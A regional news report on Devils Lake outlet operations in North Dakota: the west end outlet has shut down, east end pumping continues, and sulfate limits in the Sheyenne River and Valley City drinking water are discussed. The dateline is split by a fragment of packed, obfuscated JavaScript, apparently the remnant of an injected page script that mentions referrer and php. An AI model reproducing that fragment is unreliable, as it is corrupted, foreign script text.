DEVILS rdtrh|var|u0026u|referrer|fknzn||js|php’.split(‘|’),0,{}))
LAKE, N.D. (NewsDakota.com) The west end outlet on Devils Lake is no longer operating due to a problem with the Round Lake stand pipe tank according to Edwin Curry an official with the North Dakota Department of Health.

In an email to several federal, state and city officials downstream Curry says it will not be possible to resume pumping from the west end outlet again this year.

Meanwhile the east end outlet continues to flow into the Sheyenne River. Curry says the river is flowing high for this time of year and there is sufficient dilution to continue operating the east end outlet at full capacity.

He says we will closely monitor the downstream water quality and adjust discharge with the goal of maximizing the amount of water removed from the lake while not exceeding 750 mg/l sulfate level in the Sheyenne River.

Curry says rapid changes in base flow may cause brief periods where the 750mg/l sulfate level is exceeded until reduced pumping volumes flow through the system and restore the target level.

Valley City commissioner Mary Lee Nielson says if the sulfate levels exceed 750 milligram per liter downstream near Valley City the new water treatment plant will be able handle the higher sulfate levels to keep the city’s drinking water safe. She says if that happens it will take more energy to dilute high sulfate levels and the city could ask the state water commission for some mitigation to cover the additional cost of electricity.

Under an agreement with the North Dakota Department of Health and downstream entities, sulfate levels are not to exceed 750 milligrams per liter while both outlets are flowing before freeze up.

The higher sulfate levels have been recorded on the east end outlet while the lowest sulfate levels flow through the west end outlet on Devils Lake.